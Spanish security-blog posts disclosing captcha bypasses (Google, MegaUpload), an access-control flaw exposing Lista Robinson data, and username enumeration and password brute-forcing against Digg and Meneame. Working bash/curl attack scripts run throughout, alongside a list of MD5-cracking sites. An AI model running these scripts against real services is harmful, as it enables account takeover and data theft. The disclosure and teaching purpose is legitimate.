Mostrando las entradas para la consulta captcha ordenadas por relevancia. Ordenar por fecha Mostrar todas las entradas
Mostrando las entradas para la consulta captcha ordenadas por relevancia. Ordenar por fecha Mostrar todas las entradas

22 noviembre 2011

Bypassing Captchas, más facil de lo que parece

El otro día me preguntaron si recomendaba algún proyecto decente para evitar las validaciones mediante captcha y leyendo al respecto me pareció curioso la cantidad de opciones a las que se puede acudir cuando muchas veces las formas de saltarse esos sistemas no tienen nada que ver con la complejidad de las imágenes que generan (que muchas veces ni nosotros somos capaces de acertarlas a la primera) sino de la implementación que se hace de los mismos.

Hace un año se publicó en este mismo blog una contribución anónima acerca de las vulnerabilidades existentes en la Lista Robinson y pudimos comprobar como la forma de saltarse el sistema de captcha no consistía en nada más que acceder al código de la página y buscar un campo oculto con nombre 'captchacode_01' y obtener de ahí el valor de la imagen mostrada.

Otro caso curioso lo protagonizó la SGAE y su formulario de contacto (aunque la vulnerabilidad es del plugin CForms para Wordpress) que permitía asignar a nuestra sesión un captcha cuyas propiedades de generación podíamos modificar, obteniendo finalmente un captcha que siempre valía '0'.

Como hemos visto, hay formas de saltarse los sistemas de captcha sin tener que utilizar técnicas complejas de reconocimiento de texto en imágenes, simplemente basta con manipular el sistema como tal. Esos ejemplos ya habían sido comentados por aquí pero ¿hay más? En este caso voy a comentar uno que afecta a más sistemas de los que esperaba (inluyendo algunos controles de Google, Twitter, etc).

¿En qué consiste? Pues simplemente en obtener el token y el valor correcto del captcha y replicarlo en cada una de las peticiones que hagamos. De esta forma siempre estaremos enviando la respuesta correcta. La verdad es que parece mentira que esta técnica funcione con lo fácil que sería eliminar el par token-valor una vez ha sido validado (valiéndonos solo para una petición).

Más interesante, veamoslo en un ejemplo... el sistema de control de búsquedas automatizadas de Google.

Cuando realizamos muchas búsquedas en Google al final acaba pidiéndonos que rellenemos un captcha. El sistema en cuestión es:

http://www.google.es/sorry/Captcha?continue=URL

Si nos fijamos vemos que el sistema asigna a nuestra sesión una imagen a la que podemos acceder mediante su identificador:

http://www.google.es/sorry/image?id=ID

Quedando la petición de validación del captcha:

http://www.google.es/sorry/Captcha?continue=URL&id=ID&captcha=VALOR&submit=Enviar

Por lo tanto, bastará con repetir esta petición cada vez que Google intente validar nuestra búsqueda automatizada (colocando la url de la búsqueda en el parámetro 'continue') para saltarnos el control (es necesario enviar la cookie GDSESS).

Como véis, con una técnica de lo más simple es posible saltarse la restricción de búsquedas de Google (aunque hay otros servicios sin reCaptcha que tampoco se ven afectados como el de iniciar sesión), el formulario de creación de una cuenta en Twitter Mobile, y otras muchas páginas.

--------------------------

Contribución por Luis Delgado
Leer más...

10 diciembre 2008

FAIL: Captcha de MegaUpload


Megaupload es un servicio de hospedaje de ficheros comúnmente utilizado para subir distribuciones de linux y contenido freeware en general [...]

Si se accede mediante el servicio gratuito, la aplicación nos obliga a que veamos publicidad y tengamos que esperar un tiempo antes de poder acceder al contenido.

Para evitar que se creen herramientas para la bajada de archivos de forma automática, masiva y desatendida, han implantando una solución de captcha, o lo que es lo mismo, muestran una imagen con letras y solicitan que se escriba el texto antes de poder continuar.

Una vez introducido y puestos en contexto, analizamos los distintos motivos por los que la implantación que han realizado de esta medida es insuficiente. La siguiente imagen muestra un ejemplo.


  1. Longitud: el tamaño de la cadena del texto es siempre de tres caracteres, lo que es una doble vulnerabilidad: el tamaño es siempre el mismo, nunca lo encontraremos de dos o uno y sobra decir que "tres" es insuficiente incluso si hablamos de novias.

  2. Caracteres: el problema anterior se ve potenciado al restringirse los caracteres utilizados al abecedario en mayúsculas [A-Z], en total 26^3 = 17.576 posibles soluciones ¿por qué no números? ¿por que no caracteres especiales? Seguro que la explicación la tiene un director de marketing...

  3. Colorines de las letras: si nos fijamos en la imagen vemos que cada letra tiene un color, esta es una práctica correcta siempre y cuando los colores se alteren y el azar entre en juego. En el caso que nos ocupa el primero siempre será "#786464", el segundo "#aa6464", y el tercero "#dc6464".

  4. URL: la dirección que genera la imagen no es estática, es decir, para cada imagen que se muestra, existe una URL distinta. Lo que causa que se puedan hacer diccionarios del tipo "url->texto de imagen". Esto se comprueba de una forma sencilla, si abrimos la siguiente dirección web y pulsamos varias veces a actualizar, veremos que nunca cambia el texto.
    http://www.megaupload.com/capgen.php?064cb4f01e9a5ad3
  5. La fuente: seguramente el problema más importante, el tipo de letra es sencillo (nuevamente huele a marketing por aquí). Es tan sencillo, que un sistema de reconocimiento óptico de carácteres (OCR), acierta en el 99% de los casos en el análisis, aunque antes haya que jugar un poquito con la imagen. En general se deben de usar varias fuentes y modificar las imágenes distorsionándolas ligeramente y utilizando sistemas de azar. El objetivo es evitar la generación de un diccionario en base la fuente utilizada.

  6. El fondo: blanco Ariel, sin una mota, es todo lo malo que podría ser. No se me ocurre ninguna manera de hacerlo peor. El fondo debería tener líneas y colores no predecibles.

Bueno, como teoría está bien, pero ahora veamos como explotar estas vulnerabilidades de forma sencilla y espero que didáctica.

ATAQUE 1.

He desarrollado un pequeño script en bash para la descarga directa de megaupload. Lo podeís descargar de aquí. Para que funcione es necesario que este instalado el paquete gocr y ImageMagick. Está probado en Fedora Core 8. Su ejecución es tal que: script.sh [url], donde la url es del tipo: http://www.megaupload.com/?d=XXXXXXXX

  1. #!/bin/bash
  2. # aramosf<@>gmail.com http://www.securitybydefault.com
  3. # Mon Dec 8 19:10:57 CET 2008

  4. html=`curl -L -s $1`
  5. d=`echo $1 | sed -e 's/.*d=\(.*\)/\1/g'`
  6. megavar=`echo "$html" | grep megavar |sed -e 's/.*value="\(.*\)".*/\1/'`
  7. imagecode=`echo "$html" | grep imagecode |sed -e 's/.*value="\(.*\)".*/\1/'`
  8. captcha=`echo "$html" | grep capgen | sed -e 's/.*php?\(.*\)".*/\1/'`
Estas primeras líneas hacen una petición a la web y guardan distintos valores que han de ser enviados junto al texto que se muestra en el captcha y que nos permitirá avanzar. La número 9 almacena en una variable la cadena de texto que representa el nombre del archivo del captcha.
  1. file=`echo /tmp/$RANDOM.gif`
  2. letra1=`echo /tmp/$RANDOM.gif`;
  3. letra2=`echo /tmp/$RANDOM.gif`;
  4. letra3=`echo /tmp/$RANDOM.gif`;
  5. curl -s http://www.megaupload.com/capgen.php?$captcha -o $file
  6. convert -fill "#000000" -opaque "#786464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $file $letra3
  7. convert -fill "#000000" -opaque "#aa6464" -fill "#ffffff" -fuzz 45% -opaque "#aa6464" $file $letra2
  8. convert -fill "#000000" -opaque "#dc6464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $file $letra1
  9. imagestring=`gocr -C "A-Z" -i $letra3``gocr -C "A-Z" -i $letra2``gocr -C "A-Z" -i $letra1`
La línea 14 almacena la imagen del captcha en un fichero en local que posteriormente será procesado tres veces, una por cada letra. De la línea 15 a la 17 procesa la imagen tratando de ayudar a la aplicación de reconocimiento de texto "gocr" mediante el coloreado en negro de la letra, y la eliminación de las otras dos, de esta forma, se examina una a una. En el siguiente ejemplo se ve procesada una de estas imágenes:

La línea 18 llama a la aplicación gocr por triplicado que procesará todas las imagenes generadas y construirá el resultado del captcha.
  1. rm -f $file $letra1 $letra2 $letra3
  2. html=`curl -e "$1" -L -s -d "megavar=$megavar&imagecode=$imagecode&d=$d&imagestring=$imagestring" http://www.megaupload.com/`
  3. abs=`echo "$html"|grep Math.abs|sed -e 's/.*Math.abs(-\(.*\))).*/\1/'`
  4. absn=$(printf \\$(printf '%03o' $abs))
  5. stxt=`echo "$html"|grep sqrt|sed -e "s/var . = '\(.*\)'.*/\1/"`
  6. sqrt1=`echo "$html"|grep sqrt|sed -e "s/.*sqrt(\(.*\))).*/\1/"`
  7. sqrt2=`echo -e "sqrt($sqrt1)\nquit\n" | bc -q -i`
  8. sqrtn=$(printf \\$(printf '%03o' $sqrt2))
  9. string="${stxt}${sqrtn}${absn}"
  10. urld=`echo "$html" | grep megaupload.com/files/ | sed -e 's|.*<a href="\(.*\)" onclick.*|\1|'`
  11. urldl=`echo $urld | sed -e "s/'.*'/$string/g"`
  12. filename=`echo $urldl|sed -e "s|.*/\(.*\)|\1|"`
  13. echo Descargando: $filename
  14. echo Espera de 45 segundos
  15. sleep 46
  16. curl "$urldl" -o "$filename"

El resto del script procesa otra pequeña trampa que tiene la página web en javascript para construir la url final y descargar el fichero tras esperar los 45 segundos (esto en principio no se puede evitar). No entro a explicarlo porque daría pie a otro post. Si alguien lo pide en algún comentario, lo cuento detalladamente otro día.

ATAQUE 2.

Para generar un diccionario con todos los captcha, el primer paso es obtenerlos, Hemos comentado que existían 17.576 combinaciones posibles, cada una de estas combinaciones puede estar modificada 8 veces con pequeños giros distintos. Por lo que el total de captchas en el sistema es de 17576 *8 = 140.608.

Como prueba de concepto, solo comento el método y muestro una pequeña base de datos con unos cuantos miles, sería cuestión de tiempo e interés la obtención de la totalidad.

La siguiente línea, guardará 10.000 ficheros en el directorio actual:
for i in `seq 1 10000`; do gotxa=`curl -s "http://www.megaupload.com/?d=L50U5WWE" |grep capgen|sed -e 's/.*img src="\/capgen.php?\(.*\)".*/\1/'`; echo -n "$i-"; if [ -f $gotxa.gif ]; then echo "$gotxa:skip"; else wget -q "http://www.megaupload.com/capgen.php?$gotxa" -O $gotxa.gif; echo $gotxa; fi; done
Esta otra línea, ejecutada en el mismo directorio que el anterior, guardará en un fichero denominado "BBDD", una relación tal que "hash del captcha:letras".
for i in *.gif; do convert -fill "#000000" -opaque "#786464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $i 3.gif; convert -fill "#000000" -opaque "#aa6464" -fill "#ffffff" -fuzz 45% -opaque "#aa6464" $i 2.gif; convert -fill "#000000" -opaque "#dc6464" -fill "#ffffff" -fuzz 45% -opaque "#dc6464" $i 1.gif; echo -n "$i "`gocr -C "A-Z" -i 3.gif``gocr -C "A-Z" -i 2.gif``gocr -C "A-Z" -i 1.gif`; echo; done|awk '{ print $2, $1}'| sort | uniq > BBDD
Aquí el ejemplo del resultado.

Si analizáis en detalle como son posibles estos ataques, os daréis cuenta que se utilizan varias de las debilidades contadas al inicio, evidenciando una vez más que un grano no hace granero, pero ayuda al compañero.

Leer más...

26 octubre 2010

Vulnerabilidades en ListaRobinson.es

En Junio del 2009, la Agencia Española de Protección de Datos (AEPD) junto con la Federación de Comercio Electrónico y Marketing Directo (FECEMD) presentaron en Madrid un nuevo servicio para los ciudadanos denominado Lista Robinson en el cual (citando la propia nota de prensa sobre el Servicio Lista Robinson) "pueden inscribirse para evitar recibir comunicaciones comerciales, mediante llamadas, sms, correo postal y correo electrónico, de empresas con las que no mantenga o no haya mantenido algún tipo de relación."

Captura de la nota de prensa sobre el Servicio Lista Robinson

El servicio que se puede visitar en www.listarobinson.es apareció en multitud de medios tras la rueda de prensa (ElPais, ElMundo, 20Minutos, ABC...), e incluso tras su presentación apareció una polémica sobre los servicios de pago que se ofrecía a las entidades para la descarga de los ficheros, que podréis consultar aquí y aquí. Se pone en duda la calidad del servicio, ya que las entidades autorizadas y registradas por FECEMD en el servicio dispondrían del fichero previo pago de una cantidad de dinero.

Pues bien, a continuación os dejamos con un artículo que hemos recibido a nuestro buzón de contribuciones sobre dicha web del servicio que explica, entre otros temas, la exposición de dicha Lista Robinson sin necesidad siquiera de registrarse como usuario, ni teniendo acceso como entidad autorizada. El artículo, según su autor, pretende ser meramente constructivo y formativo, para evitar caer de nuevo en este tipo de vulnerabilidades referentes a la seguridad en aplicaciones web.

Resaltar la rapidez en la respuesta y actuación de la federación FECEMD (que hace unos días cambió su nombre a adigital) encargada de dicho servicio frente a estas vulnerabilidades, que las subsanaron en apenas unas pocas horas tras su reporte por parte de SecurityByDefault al recibir esta contribución anónima.

--------------------------------------------

Conocía el servicio desde que se presentó, debido a su aparición en multitud de medios. El mensaje para los ciudadanos era claro "Si te registras, nadie más te molestará por teléfono, correo postal...". 

Debido a las quejas de un familiar cercano frente a una serie de llamadas que recibió a las tantas de la madrugada por parte de una compañía telefónica con el fin de ofrecerle un nuevo móvil, estuve a punto de recomendarle el servicio de ListaRobinson.es, aún no habiéndolo probado personalmente (sinceramente, no creía mucho en este tipo de cosas). Y ahora menos todavía...

Me dispuse a echar un vistazo rápido a la web, y me encontré una serie de (lo que considero yo) vulnerabilidades con un desenlace que realmente, no me esperaba en absoluto. Quiero dejar claro que no ha sido necesario registrarse en el servicio de ninguna manera, ni como usuario ni como entidad (no creo que hubiera podido conseguir la autorización pertinente...):

Sistema de CAPTCHAs

El primer sitio dónde accedí fue a un formulario de autenticación al servicio, en el que me encontré el típico CAPTCHA para evitar la automatización de procesos.

CAPTCHA de acceso al servicio mediante el formulario de autenticación

Cual fue mi sorpresa, cuando me percaté revisando el código fuente del formulario que ¡el valor del CAPTCHA aparecía como un campo oculto!

Valor del CAPTCHA incluido como campo oculto
Esto me hizo bastante gracia, pero bueno, no deja de ser anecdótico. Espero que dicho CAPTCHA no aparezca como validación en otras secciones de la web, ya que para realizar un ataque de fuerza bruta nos facilitaría muchísimo la tarea.

Funcionalidades

Accediendo al código fuente HTML de la web, se referencia a un fichero javascript que se incluye en el marco superior, llamado "funciones.js".

Código fuente HTML de la cabecera de la web
Fichero funciones.js
En él, si buscamos por ejemplo la cadena ".asp", daremos con lo que parecen funcionalidades del servicio. Obtenemos 8 resultados. Tras probar los primeros 5, parece ser que no existen (por lo menos en el raíz del servidor) así que, vamos con el siguiente:

Funcionalidad servicioempresas_00.asp
Al acceder, da un error, parece que falta algún parámetro válido, no es suficiente con ejecutarlo tal cual:

Curioso que acabe con esos dos carácteres de _00...¿y si probamos con _01?

Funcionalidad servicioempresas_01.asp
¡Existe! ¿Y con _02?

Funcionalidad servicioempresas_02.asp
¡¡Tambien existe!! Y así sucesivamente, vemos que conseguimos acceder a 6 funcionalidades que se suponía, sólo eran accesibles siendo una entidad registrada y autorizada para acceder al Servicio Lista Robinson. Al parecer, esta funcionalidad de servicioempresas corresponde con la de consulta de registros únicos en la lista por parte de las entidades. Vamos, buscar a ciudadanos y sus datos uno por uno, según domicilio, móvil, dirección de correo electrónico, o cualquier dato:


Funcionalidad servicioempresas_03.asp
Funcionalidad servicioempresas_04.asp
Funcionalidad servicioempresas_05.asp

Funcionalidad servicioempresas_06.asp
Esto también ha sido gracioso, ¡menos mal que en ese momento sabía contar del 1 al 6! De todas formas, esto no deja de ser también anecdótico. Aún siendo un servicio al que sólo pueden acceder entidades autorizadas y registradas, se ofrece como gratuíto. Ir ciudadano por ciudadano, no es muy cómodo que digamos.

Volviendo al fichero funciones.js, otra de las funcionalidades que se encuentran y que responden en la página web es "exportar_01.asp".

Funcionalidad exportar_01.asp en funciones.js
El nombre a simple vista tiene muy buena pinta....Al parecer acepta un parámetro de tipo "empresa". Por curiosidad, y tras ver como ejecutando el .asp tal cual no veía nada, coloqué un 1 como valor de dicho parámetro y al poco tiempo ví que algo se estaba ejecutando en el servidor:

Ejecutando exportar_01.asp (1)
Ejecutando exportar_01.asp (2)
Vaya vaya, al parecer la funcionalidad internamente genera el fichero para su descarga posterior para las entidades:

Fin del proceso de exportar_01
En la captura se aprecia como se informa a la entidad que haya ejecutado esta funcionalidad, que necesita instalar una aplicación "Programa SLR" para acceder a su servidor y poder descargarse la lista. Pues la descargamos e instalamos.

Como se asume que esta aplicación es únicamente para entidades autorizadas, pues no podemos avanzar, una pena, no contamos con datos que verificar.

Aplicación de descarga de ficheros para entidades
Tras un rápido análisis, averiguamos que la aplicación está programada en .NET, por lo que esperamos que pueda ser decompilada, y así acceder a su código fuente, y ver como funciona internamente, qué hace, etc. Utilizamos una herramienta gratuíta para decompilar programas en .NET, .NET Reflector:

Decompilado de la aplicación mediante .NET Reflector
¡Bingo!¡Ya tenemos el código fuente de la aplicación! Se enumeran los métodos, funciones y procedimientos de consulta y gestión de ficheros...


Así como una librería dedicada a interactuar con un servidor FTP...del que para nuestra suerte, se incluyen los datos de conexión y acceso con usuario y contraseña...

Credenciales de acceso al servidor FTP del servicio
Dentro del FTP, se observan ficheros .zip cuyos nombres incluyen un CIF, seguramente de las entidades que han generado el fichero.

Ficheros generados anteriormente por entidades autorizadas
Nuestra prueba de ejecución de exportar_01.asp anterior, tras introducir un 1 como valor del parámetro empresa, corresponderá con el fichero SLRE00100 seguramente....


Pero recordando lo realizado hasta ahora, y tras la experiencia con el servicioempresas_00 y su 01,02,03,04...¿y si utilizamos la misma técnica para el fichero exportar_01.asp? Probemos con el siguiente número _02, accediendo a exportar_02.asp a ver como responde el servidor:


En principio parece que existe tal funcionalidad...y está ejecutando de nuevo una tarea...


Cuando finaliza, en el servidor FTP aparece un nuevo fichero .txt de un tamaño considerable para ser sólo texto y el mismo nombre pero un fichero comprimido en .zip, dentro del .zip, un fichero llamado Extructura.txt y el txt que también se encuentra en el FTP, que ocupa mucho...¿qué es esto?

FTP tras ejecutar la funcionalidad exportar_02.asp
Contenido del fichero Estructura.txt que enumera el formato del fichero descargado

Le diré a mi familiar que mejor acuda a una oficina del consumidor, y que quizás sea conveniente que no se registre de momento en este servicio.
Anónimo
-------------------------------------------- 
Leer más...

23 abril 2009

Applying Spartans Brute Force Against Digg

Last week lot of media talked about a new captcha method proposed by Google, a new way of image generation.

Because of this method, OCR attacks against method could be disabled and more comfortable for the users to submit the string which appeared, in computers or mobile devices too.

In the middle of the research of something related about this topic, I detected several errors in some websites which we will check eventually.

CAPTCHA was created to avoid automation, for example preventing spam robots to post comments on a blog or to protect a web login process for brute force attacks.

As my grandmother used to say: "You will be always good at something, even if it is for a bad purpose", so this time, the winner is Digg.com.

This well-known social news website show us a captcha on the fourth failed login attempted, so with this system it should prevent that a hell-script could brute-force the webform trying to guess the account password.

Digg counts these attempts only based in session, which is regenerated if it doesn't exist.

The process would be as follows:

  1. I submit user and password through a POST request.
  2. A session is created and the server responses a 302 (HTTP redirection method) to other page which checks if the session is correct or not based on the user and password submitted.
  3. If the password is correct, everything is ok, if not it takes me to the login page with an error and the same session with one failed attempt.
  4. 4. I kill the session (and with this, the counter will reset) and i submit again the user and password, and this takes me again to the first step. So with this, the captcha won't be shown to us because the failed attempted login count won't be never more than one.

We will use curl to automate these steps:
for i in `cat wordlist.txt`; do
echo -n $i; curl -c digg.txt -s -L -D - -d
"username=usuario&password=$i&persistent=on"
'http://digg.com/login/prepare/digg' | grep -Ei "D.meta.user.loggedIn|incorrect";
done
wordlist.txt has a list of words.


This script will output something like this:

eryyyert <div><h3>Your Username or Password was incorrect</h3></div>
rtwertw <div><h3>Your Username or Password was incorrect</h3>< div>
dsfhdhcnh <div><h3>Your Username or Password was incorrect</h3><div>
fdgsdfghsj <div><h3>Your Username or Password was incorrect</h3><div>
dfgdsfgdfg <div><h3>Your Username or Password was incorrect</h3><div>
aaaaaaa <div><h3>Your Username or Password was incorrect</h3></div>
Cochecito D.meta.user.loggedIn = "usuario";
adfsdf <div><h3>Your Username or Password was incorrect</h3></div>
asdffffff <div><h3>Your Username or Password was incorrect</h3></div>
The first string is the word we tested as password. "Cochecito" is the password of the user tested, the rest....incorrect

Maybe Interpol will knock our door before we get the wanted password, but the weakness of this validation process is proved.

Checking again this previous entry posted months ago and with some tweaks, i have discovered that both of sites share mostly the same weaknesses, for example the one about credentials through http instead of https, or that it's possible to obtain a list with valid usernames. So let's play again a bit more...

Firstly, we will fetch with a script a list containing valid usernames:

for i in `seq 2 245`; do
curl -s
http://digg.com/page$i| tr '<' '\n'|grep 'href="/users/' sed -e 's.*/\(.*\)\">\1g'
done| sort |uniq >lista.digg
Welcome to 700 or 800 valid usernames (lista.digg) . Now, ladies and gentlemen, let's bring Google to the scene:
site:digg.com inurl:/users/

What about trying the most common passwords? 123456, password, qwerty, liverpool ....

for i in `cat lista.digg`; do echo -n $i; curl -c digg.txt -s -L -D - -d
"username=$i&password=123456&persistent=on"
'http://digg.com/login/prepare/digg'| grep -Ei "D.meta.user.loggedInincorrect";
done |tee -a pass.txt
We don't get a lot of them, but it' more than nothing
[aramosf@sbd ~]$ grep logged pass.txt wc -l
2
Leer más...

11 noviembre 2008

Meneame: insecure by default



Cuando se verifica la seguridad de la autenticación en un aplicativo web se han de tener en cuenta distintos puntos de control. Llevar a cabo este tipo de pruebas es algo más que ejecutar una herramienta automática y esperar encontrar vulnerabilidades.

Esta entrada tratará de contar el proceso, tanto en la detección de debilidades como en la identificación de fortalezas.

Puesto que recientemente hemos aparecido en meneame, y meneame goza de fama y poder para mover miles de usuarios diariamente y con ello el dinero que esto implica. Usaremos esto portal como ejemplo.

1.- (OWASP 4.5.1) El primer paso es verificar que la información sensible es transmitida por un canal seguro, es decir, tanto usuario y contraseña SIEMPRE ha de ser transmitido por https, así como la sesión si está integra autenticación.

En el caso que nos ocupa, podemos verificar rápidamente que meneame NO tiene implantada esta medida, lo que permitiría el robo de credenciales en redes internas mediante técnicas de escucha.

http://meneame.net/login.php

POST /login.php HTTP/1.1
Host: meneame.net
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://meneame.net/login.php?return=%2F
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

username=crap1234&password=12345&processlogin=1&return=%2F


2.- La política de contraseñas ha de ser robusta, esto quiere decir que se ha de contemplar el uso de números, minúsculas, mayúsculas e incluso caracteres especiales. Obligar únicamente que la contraseña se componga de un número mínimo de caracteres es peligroso, puesto que permite contraseñas tan triviales como por ejemplo "12345" o "meneame". Se muestra el código de la versión 3 del software de meneame donde se identifica la política utilizada.

if(strlen($_POST["password"]) < 5 ) {

3.- (OWASP 4.5.2) La enumeración de usuarios es importante, ya que si se lleva a cabo, se puede generar un diccionario de usuarios, y realizar fuerza bruta inversa, es decir, programar una pequeña utilidad que pruebe todos los usuarios identificados con una contraseña "típica" y como hemos visto en el punto anterior, "12345" o "meneame", son contraseñas que posiblemente existan en el sistema.

La enumeración de usuarios en meneame es posible por un error inicial, el nombre de usuario es el mismo que el usado para autenticarse, cuando realmente el nombre de usuario y el usuario de acceso deberían ser distintos, debiendo ser este segundo, por ejemplo, el correo electrónico. El siguiente ejemplo mostraría una lista de los usuarios de meneame y por lo tanto de "logins" validos.

for i in `seq 1 2243`; do curl "http://meneame.net/?page=$i" | perl -ne 'print $1."\n" if /\/user\/(\w+)/'; done | sort | uniq > meneame.users
Usando este pequeño script (que genera 2243 peticiones web) se obtienen usuarios que hayan llegado a portada, lo que significa que probablemente tengan un karma alto.

Otra forma usando el "topusers.php" (a tener en cuenta que después del sed hay un \n):

for i in `seq 1 3000`; do curl -s "http://meneame.net/topusers.php?page=$i"| sed -e 's//\

/g' | perl -ne 'print $1."\n" if /\/user\/(.*?)\"/'; done

Además (OWASP 4.5.3), se permite la consulta de usuarios en la url: http://meneame.net/user/'usuario', por lo tanto también se podría llevar a cabo una enumeración de usuarios utilizando un diccionario y realizando peticiones al servidor para comprobar si existe o no.

4.- (OWASP 4.5.4) El portal de meneame tiene un sistema de CAPTCHA, para evitar ataques de fuerza bruta, esto quiere decir que la aplicación detecta que desde una misma dirección IP se prueban usuarios y contraseñas incorrectos y solicita que se introduzca el texto de una imagen para asegurar que no se realiza de forma automática. El uso de este sistema es una fortaleza, al igual que "los contadores", que no son reiniciados cuando se produce una autenticación válida. El problema viene dado con las limitaciones, que son algo generosas. Tras dos accesos erróneos aparece el captcha, pero tras 90 segundos, se permite volver a probar sin necesidad de introducirlo. Aunque apriori este tiempo es alto, el uso de unas decenas de proxys, permitiría probar unos miles de usuarios (conocidos) contra una contraseña en un par de horas. En otro artículo comentaremos como hacer esta búsqueda de forma trivial para comprender el alcance de este problema.

function do_login() {
global $current_user, $globals;
$previous_login_failed = log_get_date('login_failed', $globals['original_user_ip_int'], 0, 90);
Para realizar fuerza bruta de una forma sencilla comprobando usuarios que tengan por contraseña su propio usuario y una longitud superior a 5 caracteres:
for user in `cat meneame.users`; do if [ `echo $user|wc -c` -gt 4 ]; then echo -n $user:;curl -b cook.tmp -c cook.tmp -m 3 -S -L -s -d "username=$user&password=$user&processlogin=1&return=%2F" http://meneame.net/login.php | grep -c "cerrar sesi"; sleep 91; fi; done
A tener en cuenta que no se utilizan proxys, por lo tanto es necesario añadir 91 segundo de espera entre petición y petición para evitar el captcha comentado anteriormente. E incluso con esta demora, en apenas unos minutos han sido identificados más de 5 usuarios válidos. Con 40 o 50 usuarios con buen karma, podríamos poner en portada un artículo de forma fraudulenta.

5.- (OWASP 4.5.5) Otra fortaleza de meneame, es la comprobación de privilegios de usuario. En todas las páginas que he mirado, se comprueba si la sesión es correcta y si ese usuario tiene accesos especiales: "god" o "admin".

6.- (OWASP 4.5.6) El "recordar contraseña" y "contraseña olvidada" en meneame se genera con un md5 partir de una cadena de texto de la que no tenemos suficientes datos como para reproducir. Por ejemplo el uso de la fecha y hora en la que se genera la sesión, o una clave configurada del sistema denominada "site_key".

$now = time();
$key = md5($user->id.$user->pass.$now.$site_key.get_server_name());

key = md5($dbuser->user_email.$site_key.$dbusername.$dbuser->user_id.$cookietime);

7.- (OWASP 4.5.7) La falta de cifrado en la autenticación y resto de la aplicación facilita que una sesión http sea escuchada y con ello sus sesiones, se recomienda para todos los casos establecer las sesiones con el atributo "Secure", este tema es amplio y dedicaremos un artículo íntegramente a el, se puede ampliar información en:
profsandhu.com/journals/ic/ieeeic00.pdf


8.-(OWASP 4.5.8) El servicio de CAPTCHA de la web está externalizado a un tercero: recaptcha,
aunque es una opción, todos los mecanismos de seguridad no deberían depender de otras partes, ya que se aumentan las posibilidades de ser comprometidos si se descubren nuevas vulnerabilidades para ese sitio.


Para finalizar, las conclusiones son las mismas que siempre: "Un dedo no hace mano, pero sí con sus hermanos", aunque no hay debilidades importantes y el sistema presenta fortalezas destacables, el elevado número de "problemillas" (o vulnerabilidades de criticidad baja-media), podrían provocar un ataque de fuerza bruta exitoso, permitiendo el control temporal sobre las noticias publicadas. Aunque esto parezca algo tonto, el poder redirigir unas 7.000-9.000 peticiones únicas a una página puede estar bien pagado o puede ser utilizado para un fraude de "clicks".

Las recomendaciones son simples:
  1. Los usuarios deben de utilizar contraseñas fuertes para evitar que su cuenta sea robada
  2. El sitio web debería implantar una política de contraseñas fuerte. Obligando el uso de números y mayúsculas, así como comprobar que no se puede introducir una contraseña igual al usuario.
  3. También debería ampliarse el tiempo de "bloqueo", de 90 segundos a un número mayor y molesto, como 15 minutos
  4. Meneame debería implantar un servidor http seguro por el que transmitir credenciales y sesiones.
  5. El sistema debería contemplar que el usuario introducido para registrarse en la aplicación tiene que ser distinto al nombre de usuario (apodo) que aparece interactuando con las noticias, evitando numeración de "logins" válidos.
Espero que este ladrillo haya sido constructivo.

Leer más...

20 octubre 2010

"crackeando" contraseñas en MD5 con servicios online

Aún muchas aplicaciones utilizan md5 para almacenar contraseñas en bases de datos. La mejor opción sin duda es tener tablas rainbow con todo el juego de caracteres posible. Pero si tenemos la necesidad de consultar un hash, existen muchas aplicaciones online que disponen de este servicio.

He probado varios de ellas y anotado algunas de las características que me han llamado la atención, eliminando aquellos obsoletas y comprobando si solicitan captcha o no, por si se automatiza alguna herramienta de consultas, como la publicada en packetstorm.

La siguiente tabla es el resultado.


URL Algoritmo Captcha Comentario
http://hashkiller.com/index.php?action=md5webcrack md5
Necesita registro
http://www.md5this.com/crack-it-/index.php md5 X
http://passcracking.com/ md5
Prioridad con registro
http://www.beeeer.org/hash/ md5 X usa hashcat
http://crackfor.me/ md5
En ruso
http://hash.insidepro.com/ md5 X Foro
http://www.md5decrypter.co.uk/ md5 X
http://md5.my-addr.com/md5_decrypt-md5_cracker_online/md5_decoder_tool.php md5

http://md5pass.info/ md5

http://generuj.pl/ md5

http://md5decryption.com/ md5

http://md5decrypter.com/ md5 X
http://md5crack.com/ md5
Usa Google
http://schwett.com/md5/ md5
Muy pobre
http://md5-db.de/ md5

http://xmd5.org/md5/ md5

http://md5online.net/ md5

http://www.netmd5crack.com/cracker/ md5

http://md5-decrypter.com/ md5

http://www.thoran.eu/cracker md5

http://md5cracker.tk/ md5
Busca en 15 webs
http://www.shell-storm.org/md5 md5

http://tools.benramsey.com/md5/ md5
API, lento y pocos resultados
http://www.hashchecker.com/?_sls=search_hash md5

http://md5.gromweb.com/ md5

http://md5.hashcracking.com/ md5

http://bokehman.com/cracker/ md5
Pequeño
http://victorov.su/md5/ md5

http://md5.thekaine.de/ md5

http://md5.turhu.us/md5 md5
Usando buscadores
http://md5.web-max.ca md5 X


Otras páginas webs, soportan otros tipos de hashes además de MD5, como sha1, LM o combinaciones que se están poniendo de moda en aplicaciones LAMP. Curioso el caso de cmd5.org, que cobra por el servicio.


URL Algoritmo Captcha Comentario
http://plain-text.info/add/ lm, halflmchall, sha1, md5, ntlm, wl, doublemd5, mysql323      X
http://tmto.org/ MD5/SHA1/LM/NTLM
Tiene API
http://rom-zone.alfahosting.org/ md5, double md5, joomla, mysql323, phpBB3, SHA-1, vBulletin, WBB3

http://hashcrack.com/index.php LanManager, NTLM, MySQL 3, 4, 5, MD5, SHA1

http://md5.rednoize.com/ md5, sha1

http://md5.shalla.de/cgi-bin/search.cgi MD5, SHA 256 or Tiger
Pocos resultados
http://www.hash-database.net/ md5    sha1    sha224    sha256    sha384    sha512   X
http://www.cmd5.org/ md5, sha1, md4, mysql,
md5(md5($pass))
mysql5, qq hash,  serv-u, radmin,
md5($pass.$salt)
md5($salt.$pass)
md5(md5($pass).$salt)
md5(md5($salt).$pass)
md5($salt.$pass.$salt)
md5($salt.md5($pass))
md5(md5($pass).md5($salt)),
md5(md5($salt).md5($pass)),
sha1($salt.$pass), MD5(Unix)

Servicio de pago
http://www.authsecu.com md5, cisco 7

http://www.c0llision.net/webcrack.php lm, md5    X
http://sha1.web-max.ca/ sha1   X
